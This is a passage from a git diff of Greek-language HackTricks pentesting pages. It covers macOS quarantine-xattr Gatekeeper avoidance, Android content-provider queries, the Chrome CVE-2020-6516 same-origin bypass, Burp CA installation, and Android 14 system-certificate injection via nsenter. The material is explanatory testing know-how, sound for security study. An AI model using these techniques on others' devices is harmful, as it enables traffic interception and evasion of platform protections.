archive -d s/ -o app.aar ``` +### Αποτροπή του Quarantine xattr -#### Αποτροπή Χαρακτηριστικού Καραντίνας +Σε ένα πακέτο ".app", εάν το quarantine xattr δεν προστεθεί σε αυτό, όταν το εκτελέσετε **ο Gatekeeper δεν θα ενεργοποιηθεί**. -Σε ένα πακέτο ".app", αν το χαρακτηριστικό καραντίνας δεν προστεθεί σε αυτό, όταν το εκτελέσουμε **δεν θα ενεργοποιηθεί ο Gatekeeper**. +
- - - +{% embed url="https://websec.nl/" %} diff --git a/mobile-pentesting/android-app-pentesting/content-protocol.md b/mobile-pentesting/android-app-pentesting/content-protocol.md index c7e45285f..9ee9e04f4 100644 --- a/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,10 +1,10 @@
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)! -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: +Άλλοι τρόποι υποστήριξης του HackTricks: -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** @@ -12,22 +12,25 @@
+
-**Αυτό είναι ένα σύνοψη του άρθρου [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** +{% embed url="https://websec.nl/" %} + +**Αυτό είναι ένα σύνοψη της δημοσίευσης [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** ### Καταχώρηση Αρχείων στο Media Store -Για να καταχωρήσετε αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή: +Για να καταχωρήσετε τα αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή: ```bash $ content query --uri content://media/external/file ``` -Για ένα πιο φιλικό προς τον χρήστη αποτέλεσμα, εμφανίζονται μόνο ο αναγνωριστικός αριθμός και η διαδρομή του κάθε ευρετηριασμένου αρχείου: +Για ένα πιο φιλικό προς τον χρήστη αποτέλεσμα, εμφανίζοντας μόνο τον αναγνωριστή και τη διαδρομή κάθε ευρετηριασμένου αρχείου: ```bash $ content query --uri content://media/external/file --projection _id,_data ``` -Οι πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό namespace. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τις διαδρομές για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία manifest των εφαρμογών ή από τον πηγαίο κώδικα του πλαισίου εφαρμογών Android. +### Πάροχοι περιεχομένου είναι απομονωμένοι στο δικό τους ιδιωτικό namespace. Η πρόσβαση σε έναν πάροχο απαιτεί το συγκεκριμένο `content://` URI. Πληροφορίες σχετικά με τα μονοπάτια για την πρόσβαση σε έναν πάροχο μπορούν να ανακτηθούν από τα αρχεία μεταδεδομένων της εφαρμογής ή τον πηγαίο κώδικα του Android framework. ### Πρόσβαση του Chrome σε Πάροχους Περιεχομένου -Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να επιδείξουμε αυτό, μπορεί να εισαχθεί ένα αρχείο στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome: +Ο Chrome στο Android μπορεί να έχει πρόσβαση σε πάροχους περιεχομένου μέσω του σχήματος `content://`, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που εξάγονται από εφαρμογές τρίτων. Για να το επιδείξουμε αυτό, ένα αρχείο μπορεί να εισαχθεί στο Media Store και στη συνέχεια να έχει πρόσβαση μέσω του Chrome: Εισαγωγή μιας προσαρμοσμένης καταχώρησης στο Media Store: ```bash @@ -43,21 +46,21 @@ content query --uri content://media/external/file \ --projection _id,_data | grep test.txt # Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt ``` -Το αρχείο μπορεί να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστικό του αρχείου. +Το αρχείο μπορεί στη συνέχεια να προβληθεί στο Chrome χρησιμοποιώντας ένα URL που κατασκευάζεται με τον αναγνωριστή του αρχείου. -Για παράδειγμα, για να εμφανιστούν οι αρχείο που σχετίζονται με μια συγκεκριμένη εφαρμογή: +Για παράδειγμα, για να εμφανιστούν τα αρχεία που σχετίζονται με μια συγκεκριμένη εφαρμογή: ```bash content query --uri content://media/external/file --projection _id,_data | grep -i ``` -### Chrome CVE-2020-6516: Παράκαμψη του Same-Origin-Policy +### Chrome CVE-2020-6516: Διασπορά της Πολιτικής Ίδιας Προέλευσης -Το _Same Origin Policy_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες να αλληλεπιδρούν με πόρους από διαφορετικές προέλευσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στην αποτροπή διαρροών πληροφοριών και επιθέσεων cross-site request forgery. Ο Chrome θεωρεί το `content://` ως ένα τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση. +Η _Ίδια Προέλευση Πολιτική_ (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις εκτός αν επιτρέπεται ρητά από μια πολιτική Cross-Origin-Resource-Sharing (CORS). Αυτή η πολιτική στοχεύει στο να αποτρέψει διαρροές πληροφοριών και απάτες αιτημάτων από διαφορετικές ιστοσελίδες. Ο Chrome θεωρεί το `content://` ως ένα τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε URL με τοπικό σχήμα θεωρείται ως ξεχωριστή προέλευση. -Ωστόσο, η CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονται μέσω ενός URL `content://`. Στην πράξη, ο κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, πράγμα που αποτελούσε σημαντικό πρόβλημα ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις προηγούμενες της Android 10, όπου δεν είχε εφαρμοστεί η scoped storage. +Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στο Chrome που επέτρεπε τη διάβρωση των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL `content://`. Στην πράξη, κώδικας JavaScript από ένα URL `content://` μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL `content://`, κάτι που αποτελούσε σημαντική ανησυχία ασφαλείας, ειδικά σε συσκευές Android που εκτελούν εκδόσεις προηγούμενες του Android 10, όπου δεν είχε εφαρμοστεί η scoped αποθήκευση. -Το παρακάτω παράδειγμα επίδειξης αποδεικνύει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά τη μεταφόρτωσή του στον φάκελο **/sdcard** και την προσθήκη του στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στον κώδικα JavaScript του για να έχει πρόσβαση και να εμφανίσει το περιεχόμενο ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP. +Το παράδειγμα που ακολουθεί δείχνει αυτήν την ευπάθεια, όπου ένα έγγραφο HTML, μετά το ανέβασμά του στο **/sdcard** και την προσθήκη του στο Media Store, χρησιμοποιεί το `XMLHttpRequest` στον κώδικα JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP. -Παράδειγμα HTML επίδειξης: +Παράδειγμα HTML Απόδειξης: ```xml @@ -86,16 +89,20 @@ xhr.send(); ``` +
+ +{% embed url="https://websec.nl/" %} +
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: +Άλλοι τρόποι υποστήριξης του HackTricks: -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
diff --git a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 000d3f691..d00650169 100644 --- a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -10,17 +10,22 @@ * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub. +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +
+ +{% embed url="https://websec.nl/" %} + + ## Σε Εικονική Μηχανή Καταρχάς, πρέπει να κατεβάσετε το πιστοποιητικό Der από το Burp. Μπορείτε να το κάνετε αυτό στο _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ ![](<../../.gitbook/assets/image (367).png>) -**Εξαγάγετε το πιστοποιητικό σε μορφή Der** και ας το **μετατρέψουμε** σε μια μορφή που το **Android** θα μπορεί να **καταλάβει.** Σημειώστε ότι **για να διαμορφώσετε το πιστοποιητικό burp στη μηχανή Android στο AVD** πρέπει να **τρέξετε** αυτήν τη μηχανή **με** την επιλογή **`-writable-system`**.\ +**Εξαγάγετε το πιστοποιητικό σε μορφή Der** και ας το **μετατρέψουμε** σε μια μορφή που το **Android** θα μπορεί να **καταλάβει.** Σημειώστε ότι **για να ρυθμίσετε το πιστοποιητικό burp στη μηχανή Android στο AVD** πρέπει να **τρέξετε** αυτήν τη μηχανή **με** την επιλογή **`-writable-system`**.\ Για παράδειγμα, μπορείτε να την τρέξετε ως: {% code overflow="wrap" %} @@ -29,7 +34,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht ``` {% endcode %} -Στη συνέχεια, για να **διαμορφώσετε το πιστοποιητικό του burp**, κάντε: +Στη συνέχεια, για **διαμόρφωση του πιστοποιητικού του burp**: {% code overflow="wrap" %} ```bash @@ -44,39 +49,39 @@ adb reboot #Now, reboot the machine ``` {% endcode %} -Μόλις το **μηχάνημα τελειώσει την επανεκκίνηση**, το πιστοποιητικό του burp θα είναι σε χρήση από αυτό! +Μόλις το **μηχάνημα τελειώσει την επανεκκίνηση**, το πιστοποιητικό burp θα είναι σε χρήση από αυτό! ## Χρησιμοποιώντας το Magisc -Αν **έχετε ρουτάρει τη συσκευή σας με το Magisc** (ίσως ένας εξομοιωτής), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό του Burp επειδή το **σύστημα αρχείων είναι μόνο για ανάγνωση** και δεν μπορείτε να το ανακατεύετε σε εγγράψιμη κατάσταση, υπάρχει άλλος τρόπος. +Αν **έχετε ρουτάρει τη συσκευή σας με το Magisc** (ίσως ένας εξομοιωτής), και **δεν μπορείτε να ακολουθήσετε** τα προηγούμενα **βήματα** για να εγκαταστήσετε το πιστοποιητικό Burp επειδή το **σύστημα αρχείων είναι μόνο για ανάγνωση** και δεν μπορείτε να το ανακατεύετε σε εγγράψιμη κατάσταση, υπάρχει κι άλλος τρόπος. Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=qQicUW0svB8) πρέπει να: -1. **Εγκαταστήσετε ένα πιστοποιητικό CA**: Απλά **σύρετε και αφήστε** το πιστοποιητικό Burp τύπου DER **αλλάζοντας την κατάληξη** σε `.crt` στο κινητό σας ώστε να αποθηκευτεί στον φάκελο Λήψεων και πηγαίνετε σε `Εγκατάσταση πιστοποιητικού` -> `Πιστοποιητικό CA` +1. **Εγκαταστήσετε ένα πιστοποιητικό CA**: Απλά **σύρετε και αφήστε** το πιστοποιητικό Burp σε μορφή DER **αλλάζοντας την επέκταση** σε `.crt` στο κινητό σας ώστε να αποθηκευτεί στον φάκελο Λήψεων και πηγαίνετε σε `Εγκατάσταση πιστοποιητικού` -> `Πιστοποιητικό CA` -
+
* Ελέγξτε ότι το πιστοποιητικό αποθηκεύτηκε σωστά πηγαίνοντας σε `Αξιόπιστα διαπιστευτήρια` -> `ΧΡΗΣΤΗΣ` -
+
-2. **Κάντε το System εμπιστευτικό**: Κατεβάστε το module του Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ένα αρχείο .zip), **σύρετε και αφήστε το** στο τηλέφωνο, πηγαίνετε στην εφαρμογή Magics στο τηλέφωνο στην ενότητα **`Ενότητες`**, κάντε κλικ στο **`Εγκατάσταση από αποθήκευση`**, επιλέξτε το module `.zip` και μόλις εγκατασταθεί κάντε **επανεκκίνηση** του τηλεφώνου: +2. **Κάντε το System εμπιστευτικό**: Κατεβάστε το module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (ένα αρχείο .zip), **σύρετε και αφήστε το** στο τηλέφωνο, πηγαίνετε στην εφαρμογή Magics στο τηλέφωνο στην ενότητα **`Ενότητες`**, κάντε κλικ στο **`Εγκατάσταση από αποθήκευση`**, επιλέξτε το module `.zip` και μόλις εγκατασταθεί κάντε **επανεκκίνηση** του τηλεφώνου: -
+
-* Μετά την επανεκκίνηση, πηγαίνετε σε `Αξιόπιστα διαπιστευτήρια` -> `ΣΥΣΤΗΜΑ` και ελέγξτε αν το πιστοποιητικό της Postswigger είναι εκεί +* Μετά την επανεκκίνηση, πηγαίνετε σε `Αξιόπιστα διαπιστευτήρια` -> `ΣΥΣΤΗΜΑ` και ελέγξτε αν το πιστοποιητικό Postswigger είναι εκεί -
+
## Μετά το Android 14 -Στην πιο πρόσφατη έκδοση Android 14, παρατηρήθηκε μια σημαντική αλλαγή στη χειρισμό των πιστοποιητικών Αρχής Πιστοποίησης (CA) που εμπιστεύονται το σύστημα. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με δικαιώματα ριζών, που επέτρεπε την άμεση εφαρμογή σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης μεταφέρθηκε στο **`/apex/com.android.conscrypt/cacerts`**, ένας κατάλογος εντός της διαδρομής **`/apex`**, η οποία είναι αναπόσπαστη φύσει. +Στην πιο πρόσφατη έκδοση Android 14, παρατηρήθηκε μια σημαντική αλλαγή στη χειρισμό των πιστοποιητικών αρχής (CA) που εμπιστεύονται το σύστημα. Προηγουμένως, αυτά τα πιστοποιητικά βρίσκονταν στο **`/system/etc/security/cacerts/`**, προσβάσιμα και τροποποιήσιμα από χρήστες με δικαιώματα ρουτ, που επέτρεπε την άμεση εφαρμογή σε όλο το σύστημα. Ωστόσο, με το Android 14, η τοποθεσία αποθήκευσης μεταφέρθηκε στο **`/apex/com.android.conscrypt/cacerts`**, ένας κατάλογος εντός της διαδρομής **`/apex`**, η οποία είναι αναπόσπαστη από φύσης. -Οι προσπάθειες επανατοποθέτησης της διαδρομής **APEX cacerts** σε εγγράψιμη κατάσταση αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες αποπροσάρτησης ή επικάλυψης του καταλόγου με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αναποσταστικότητα. Οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικών ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο γεγονός ότι η τοποθέτηση του **`/apex`** έχει ρυθμιστεί με ιδιωτική προώθηση, εξασφαλίζοντας ότι οι τροποποιήσεις εντός του καταλόγου **`/apex`** δεν επηρεάζουν άλλες διεργασίες. +Οι προσπάθειες επανατοποθέτησης της διαδρομής **APEX cacerts** σε εγγράψιμη κατάσταση αποτυγχάνουν, καθώς το σύστημα δεν επιτρέπει τέτοιες λειτουργίες. Ακόμη και οι προσπάθειες αποπροσάρτησης ή επικάλυψης του καταλόγου με ένα προσωρινό σύστημα αρχείων (tmpfs) δεν παρακάμπτουν την αναποστασιότητα. Οι εφαρμογές συνεχίζουν να έχουν πρόσβαση στα αρχικά δεδομένα πιστοποιητικών ανεξάρτητα από τις αλλαγές στο επίπεδο του συστήματος αρχείων. Αυτή η ανθεκτικότητα οφείλεται στο γεγονός ότι η τοποθέτηση **`/apex`** έχει ρυθμιστεί με ιδιωτική προώθηση, εξασφαλίζοντας ότι οι τροποποιήσεις εντός του καταλόγου **`/apex`** δεν επηρεάζουν άλλες διεργασίες. -Η εκκίνηση του Android περιλαμβάνει τη διαδικασία `init`, η οποία, κατά την έναρξη του λειτουργικού συστήματος, εκκινεί επίσης τη διαδικασία Zygote. Αυτή η διαδικασία είναι υπεύθυνη για την εκκίνηση των διεργασιών εφαρμογών με ένα νέο χώρο προσάρτησης που περιλαμβάνει μια ιδιωτική τοποθέτηση **`/apex`**, απομονώνοντας έτσι τις αλλαγές σε αυτό τον κατάλογο από άλλες διεργασίες. +Η εκκίνηση του Android περιλαμβάνει τη διαδικασία `init`, η οποία, κατά την έναρξη του λειτουργικού συστήματος, εκκινά επίσης τη διαδικασία Zygote. Αυτή η διαδικασία είναι υπεύθυνη για την εκκίνηση των διεργασιών εφαρμογών με ένα νέο χώρο προσάρτησης που περιλαμβάνει μια ιδιωτική τοποθέτηση **`/apex`**, απομονώνοντας έτσι τις αλλαγές σε αυτό τον κατάλογο από άλλες διεργασίες. -Ωστόσο, υπάρχει ένα παράκαμψη για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που εμπιστεύονται το σύστημα εντός του καταλόγου **`/apex`**. Αυτό περιλαμβάνει τη χειροκίνητη επανατοποθέτηση του **`/apex`** για την κατάργηση της ιδιωτικής προώθησης, καθιστώντας το εγγράψιμο. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποπροσάρτηση του καταλόγου **`/apex/com.android.conscrypt`** για την εξάλειψη του περιορισμού μόνο για ανάγνωση, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν ανατροπές συστήματος. Για να εξασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται η επανεκκίνηση του `system_server`, η οποία επανεκκινεί όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεπή κατάσταση. +Ωστόσο, υπάρχει ένα παράκαμψη για όσους χρειάζονται να τροποποιήσουν τα πιστοποιητικά CA που εμπιστεύονται το σύστημα εντός του καταλόγου **`/apex`**. Αυτό περιλαμβάνει τη χειροκίνητη επανατοποθέτηση του **`/apex`** για την κατάργηση της ιδιωτικής προώθησης, καθιστώντας το εγγράψιμο. Η διαδικασία περιλαμβάνει την αντιγραφή του περιεχομένου του **`/apex/com.android.conscrypt`** σε άλλη τοποθεσία, την αποπροσάρτηση του καταλόγου **`/apex/com.android.conscrypt`** για την εξάλειψη του περιορισμού μόνο για ανάγνωση, και στη συνέχεια την επαναφορά του περιεχομένου στην αρχική του θέση εντός του **`/apex`**. Αυτή η προσέγγιση απαιτεί γρήγορη δράση για να αποφευχθούν κρασαρίσματα του συστήματος. Για να εξασφαλιστεί η εφαρμογή αυτών των αλλαγών σε όλο το σύστημα, συνιστάται η επανεκκίνηση του `system_server`, η οποία επανεκκινεί όλες τις εφαρμογές και φέρνει το σύστημα σε μια συνεπή κατάσταση. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -136,11 +141,12 @@ echo "System certificate injected" ``` ### Δέσμευση μέσω NSEnter -1. **Δημιουργία ενός εγγράψιμου καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με τη δέσμευση ενός `tmpfs` πάνω στον υπάρχοντα μη-κατάλογο πιστοποιητικών συστήματος APEX. Αυτό επιτυγχάνεται με την ακόλουθη εντολή: +1. **Δημιουργία Εγγράψιμου Καταλόγου**: Αρχικά, δημιουργείται ένας εγγράψιμος κατάλογος με τη δέσμευση ενός `tmpfs` πάνω στον υπάρχοντα μη-κατάλογο πιστοποιητικών συστήματος non-APEX. Αυτό επιτυγχάνεται με την ακόλουθη εντολή: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **Προετοιμασία Πιστοποιητικών CA**: Ακολουθώντας τη ρύθμιση του εγγρά +2. **Προετοιμασία Πιστοποιητικών CA**: Ακολουθώντας τη διαδικασία εγκατάστασης του εγγράψιμου καταλόγου, τα πιστοποιητικά CA που προτίθεται κάποιος να χρησιμοποιήσει πρέπει να αντιγραφούν σε αυτόν τον κατάλογο. Αυτό μπορεί να περιλαμβάνει την αντιγραφή των προεπιλεγμένων πιστοποιητικών από `/apex/com.android.conscrypt/cacerts/`. Είναι ουσιώδες να προσαρμοστούν αναλόγως οι άδειες και οι ετικέτες SELinux αυτών των πιστοποιητικών. +3. **Δέσμευση Προσάρτησης για το Zygote**: Χρησιμοποιώντας το `nsenter`, μπαίνει κανείς στο χώρο προσάρτησης του Zygote. Ο Zygote, ως η διαδικασία υπεύθυνη για την εκκίνηση των εφαρμογών Android, απαιτεί αυτό το βήμα για να διασφαλίσει ότι όλες οι εφαρμογές που εκκινούνται εν συνεχεία χρησιμοποιούν τα νεότερα διαμορφωμένα πιστοποιητικά CA. Η εντολή που χρησιμοποιείται είναι: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` @@ -150,8 +156,26 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/securi ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Εναλλακτική Προσέγγιση - Μαλακή Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1), ακολουθούμενη από μια μαλακή επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα μεταδώσει τις αλλαγές σε όλους τους χώρους ονομάτων, αποφεύγοντας την ανάγκη να αντιμετωπιστεί κάθε τρέχουσα εφαρμογή ξεχωριστά. Ωστόσο, αυτή η μέθοδος συνήθως προτιμάται λιγότερο λόγω της ενόχλησης της επανεκκίνησης. +5. **Εναλλακτική Προσέγγιση - Μαλακή Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση του bind mount στη διαδικασία `init` (PID 1), ακολουθούμενη από μια μαλακή επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα μεταδώσει τις αλλαγές σε όλους τους namespaces, αποφεύγοντας την ανάγκη να αντιμετωπιστεί καθένα από τα εκτελούμενα apps ξεχωριστά. Ωστόσο, αυτή η μέθοδος συνήθως προτιμάται λιγότερο λόγω της ενόχλησης της επανεκκίνησης. ## Αναφορές * [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) + +
+ +{% embed url="https://websec.nl/" %} + +
+ +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! + +Άλλοι τρόποι υποστήριξης του HackTricks: + +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub. + +
diff --git a/mobile-pentesting/android-app-pentesting/tapjacking.md b/mobile-pentesting/android-app-pentesting/tapjacking.md index ed6cd77af..b6ff0f68c 100644 --- a/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,41 +2,46 @@
